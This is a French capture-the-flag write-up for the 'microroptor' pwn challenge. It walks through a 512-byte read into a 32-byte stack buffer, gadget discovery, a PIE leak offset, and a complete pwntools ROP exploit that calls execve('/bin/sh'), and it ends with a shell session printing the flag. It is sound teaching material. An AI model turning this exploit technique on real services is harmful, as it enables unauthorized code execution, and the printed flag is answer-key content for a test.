đ Description du challenge
DifficultĂ©: â
Architecture: amd64
Mon setup:
- GDB avec pwndbg comme wrapper
- Binary Ninja
- Pwntools
Protection sur le binaire:
ââ$ pwn checksec --file ./xoraas
[*] '/home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Dans ce challenge réalisé par Cryptanalyse, il nous est demandé de recupérer le contenu du fichier flag
en dĂ©tournant l’usage d’un binaire nommĂ© microroptor
.
Il n’y a pas de stack canary donc on peut s’attendre Ă ce que ça soit un buffer overflow sur la stack.
Retro-inginiérie du binaire
J’ai utilisĂ© Binary Ninja pour dĂ©compiler le binaire mais libre Ă vous d’utiliser l’outil de votre choix.
Le binaire est composĂ© d’une seule fonction main
qui a le pseudo code C suivant:
Voici grossiÚrement les opérations que réalise la dite fonction:
- Elle nous donne une addresse du binaire via la sortie standard
- Elle lit 512 octets depuis l’entrĂ©e standard et les placent dans la variable
buf
de 32 octets (oui vous avez bien lu) - Elle compare le contenu de la variable
buf
Ă la chaine de caractĂšre “m3t4ll1cA” via la fonction strcmp - Si la fonction strcmp renvoie 0, le message “Welcome back master […]” est affichĂ©. Si strcmp donne autre chose que 0, le programme renvoie “Nope, […] "
Buffer overflow + ROP
Comme je l’ai dit prĂ©cĂ©demment, le programme lis 512 octets dans une variable de 32 octets provoquant un dĂ©passement de tampon sur la stack.
On peut utiliser ceci pour rediriger l’exĂ©cution du programme vers… Vers quoi enfait ? La protection NX Ă©tant activĂ©, il ne nous est pas possible d’exĂ©cuter un shellcode.
C’est lĂ qu’il est bon d’introduire le concept de ROP -> return oriented programming:
C’est une technique visant Ă utiliser des petites instructions dans le binaire appelĂ©es gadget
pour effectuer des opérations arbitraires (dans notre cas, exécuter le binaire /bin/sh
).
Pour trouver nos gadgets, on va utiliser ROPGadget, un outil permettant de trouver les gadgets que contient un binaire:
ââ$ ROPgadget --binary microroptor
Gadgets information
============================================================
[...]
0x0000000000001169 : mov qword ptr [rdi], rax ; ret
[...]
0x0000000000001244 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001246 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001248 : pop r14 ; pop r15 ; ret
0x000000000000124a : pop r15 ; ret
0x000000000000116d : pop rax ; ret
0x0000000000001243 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001247 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000000114f : pop rbp ; ret
0x000000000000116f : pop rdi ; ret
0x0000000000001171 : pop rdx ; ret
0x0000000000001249 : pop rsi ; pop r15 ; ret
0x0000000000001245 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
[...]
0x0000000000001173 : syscall
[...]
Unique gadgets found: 86
Malheureusement, le binaire ne contient pas la chaĂźne de caractĂšre ‘/bin/sh’ on va donc devoir l’Ă©crire nous mĂȘme dans le binaire.
Pour ce faire, on va utiliser les gadgets suivants:
0x0000000000001169 : mov qword ptr [rdi], rax ; ret
0x000000000000116d : pop rax ; ret
0x000000000000116f : pop rdi ; ret
On va mettre:
- dans le registre rdi, une addresse dans le binaire oĂč l’on veut Ă©crire /bin/sh
- dans rax, on va mettre /bin/sh
- puis on va appeler
mov [rdi], rax
pour qu’il mette Ă l’addresse contenue dans rdi la valeur de rax.
Ce qui nous donne le code python suivant:
pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
mov_rdi_rax = elf.address + 0x0000000000001169
payload = p64(pop_rdi)
payload += p64(elf.address + 16416)
# J'ai choisi d'Ă©crire Ă cet offset, libre Ă vous d'en choisir un autre
payload += p64(pop_rax)
payload += b"/bin/sh\0"
payload += p64(mov_rdi_rax)
Pour appeler /bin/sh
, on va utiliser le syscall execve
. Qui prend ses paramĂštres de la maniĂšre suivantes:
rax rdi rsi rdx
Notre registre rdi est déja valide mais il faut mettre rsi et rdx à 0 et rax à 59.
pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
pop_rsi = elf.address + 0x0000000000001249
pop_rdx = elf.address + 0x0000000000001171
syscall = elf.address + 0x0000000000001173
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rsi)
payload += p64(0)*2
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
đŁ Exploit
Il ne manque plus qu’un Ă©lĂ©ment avant de pouvoir rĂ©cuperer le flag: en effet la protection PIE est activĂ© pour le binaire. Celle ci rend alĂ©atoire les addresses du binaire et rend donc plus ardue notre ROP. Heureusement pour nous, le programme nous donne une fuite de mĂ©moire juste avant de nous demander d’entrer des donnĂ©es ce qui va nous permettre de dĂ©terminer Ă chaque fois l’adresse Ă laquelle est chargĂ© le binaire car l’Ă©cart entre ces deux adresses est constants.
Pour calculer la diffĂ©rence entre l’addresse de base du binaire est celle qui nous est fournie, j’ai utilisĂ© gdb pour afficher la base du binaire via la commande vmmap microroptor
et j’ai aussi rĂ©cupĂ©rer le leak: 0x555555558010
pwndbg> vmmap microroptor
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555555000 0x555555556000 r-xp 1000 1000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555556000 0x555555557000 r--p 1000 2000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555557000 0x555555558000 r--p 1000 2000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555558000 0x555555559000 rw-p 1000 3000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
pwndbg>
La différence entre le leak est la base est donc:
>>> 0x555555558010 - 0x555555554000
16400
On peut dÚs à présent écrire notre exploit via la librairie pwntools en python:
from pwn import *
elf = ELF('./microroptor', checksec=False)
p = remote('localhost', 4000)
leak = int(p.recvline().strip(),0)
elf.address = leak - 16400
info("elf @0x%hx" % elf.address)
#0x000000000000116d : pop rax ; ret
#0x000000000000114f : pop rbp ; ret
#0x000000000000116f : pop rdi ; ret
#0x0000000000001171 : pop rdx ; ret
#0x0000000000001249 : pop rsi ; pop r15 ; ret
#0x0000000000001173 : syscall
#0x0000000000001169 : mov [rdi] , rax ; ret
pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
pop_rsi = elf.address + 0x0000000000001249
pop_rdx = elf.address + 0x0000000000001171
syscall = elf.address + 0x0000000000001173
mov_rdi_rax = elf.address + 0x0000000000001169
payload = b"A"*40
payload += p64(pop_rdi)
payload += p64(elf.address + 16416)
payload += p64(pop_rax)
payload += b"/bin/sh\0"
payload += p64(mov_rdi_rax)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rsi)
payload += p64(0)*2
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)
p.interactive()
$ python exploit.py
[+] Opening connection to localhost on port 4000: Done
[*] elf @0x555555554000
[*] Switching to interactive mode
Nope, you are no master.
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
FCSC{e3752da07f2c9e3a0f9ad69679792e5a8d53ba717a2652e29fb975fcf36f9258}
Merci Ă Cryptanalyse pour ce challenge et n’hĂ©sitez pas Ă m’envoyer un message sur discord @numb3rss ou sur Twitter @numbrs si vous avez une question.